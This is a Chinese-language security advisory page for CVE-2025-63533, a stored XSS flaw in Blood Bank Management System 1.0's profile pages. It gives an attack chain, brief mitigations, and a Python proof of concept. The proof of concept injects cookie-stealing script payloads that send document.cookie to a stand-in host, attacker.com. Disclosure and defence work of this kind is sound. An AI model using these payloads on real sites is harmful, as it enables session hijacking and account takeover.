IPBUF安全漏洞报告
English
CVE-2025-63533 CVSS 8.5 高危

CVE-2025-63533 Blood Bank Management System 1.0 存储型XSS漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-63533
漏洞类型
XSS跨站脚本
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Blood Bank Management System 1.0

相关标签

CVE-2025-63533XSS存储型XSSBlood Bank Management Systemupdateprofile.phprprofile.php跨站脚本漏洞高危漏洞Web应用安全

漏洞概述

CVE-2025-63533是存在于Blood Bank Management System 1.0版本中的一个高危存储型跨站脚本(Stored XSS)漏洞。该漏洞主要影响updateprofile.php和rprofile.php两个组件。攻击者可以通过在用户个人资料页面注入恶意JavaScript代码,当其他用户访问包含恶意代码的页面时,攻击脚本将在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户或进行其他恶意操作。由于该应用在处理用户输入时未对rname、remail、rpassword、rphone、rcity等参数进行充分的输入验证和输出编码,恶意载荷会被永久存储在服务器端数据库中,任何访问该用户资料的访问者都会触发攻击。此漏洞CVSS评分高达8.5分,属于高危级别,攻击复杂度低且无需特殊权限即可实施,对系统机密性造成严重影响。

技术细节

该漏洞属于存储型XSS(Stored XSS)漏洞,攻击原理如下:1)攻击者首先登录Blood Bank Management System 1.0系统,使用低权限账户访问个人资料编辑页面(updateprofile.php或rprofile.php);2)在rname、remail、rpassword、rphone、rcity等参数中注入恶意JavaScript代码,例如:<script>alert(document.cookie)</script>;3)由于应用程序未对这些输入进行HTML实体编码或输入过滤,恶意代码被直接存储到数据库中;4)当管理员或其他用户查看该用户资料时,服务器从数据库读取并直接在页面中输出未转义的内容;5)受害者浏览器将恶意脚本作为合法代码执行,导致Cookie信息被窃取、会话被劫持或页面内容被篡改。攻击者可以利用此漏洞配合会话劫持技术获取管理员权限,进而完全控制整个系统。

攻击链分析

STEP 1
步骤1
攻击者访问Blood Bank Management System并使用低权限账户登录系统
STEP 2
步骤2
导航至updateprofile.php或rprofile.php个人资料编辑页面
STEP 3
步骤3
在rname、remail、rpassword、rphone或rcity参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
步骤4
提交表单,恶意载荷被存储到数据库中,由于应用未进行输入验证和输出编码
STEP 5
步骤5
当管理员或其他用户访问该用户资料页面时,服务器从数据库读取恶意代码并直接输出到页面
STEP 6
步骤6
受害者浏览器执行恶意脚本,攻击者成功窃取Cookie、会话令牌或执行其他恶意操作
STEP 7
步骤7
攻击者利用窃取的凭证劫持会话,获取管理员权限,完全控制Blood Bank Management System

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-63533 XSS PoC - Blood Bank Management System 1.0 # Affected Components: updateprofile.php, rprofile.php # Vulnerable Parameters: rname, remail, rpassword, rphone, rcity import requests import sys target_url = "http://target.com/Blood-Bank-Management-System/updateprofile.php" login_url = "http://target.com/Blood-Bank-Management-System/login.php" # XSS Payload - Cookie Stealer xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" def exploit_xss(): session = requests.Session() # Step 1: Login with low privilege account login_data = { 'username': 'attacker', 'password': 'password123' } session.post(login_url, data=login_data) # Step 2: Inject XSS payload via profile update profile_data = { 'rname': xss_payload, 'remail': '<script>alert("XSS")</script>', 'rpassword': 'test123', 'rphone': '<img src=x onerror=alert(document.cookie)>', 'rcity': '<svg/onload=fetch("http://attacker.com/steal?"+btoa(document.cookie))>' } response = session.post(target_url, data=profile_data) print(f"[+] XSS payload sent, check if stored in profile page") print(f"[+] Payload: {xss_payload}") return True if __name__ == "__main__": exploit_xss()

影响范围

Blood Bank Management System 1.0

防御指南

临时缓解措施
临时缓解措施:在Web服务器层面配置输入过滤规则,对<、>、'、"、script等特殊字符进行过滤或转义;禁用受影响页面中的内联脚本执行;限制低权限用户修改个人资料的频率和内容长度;增加用户资料页面的访问日志监控,及时发现异常访问模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表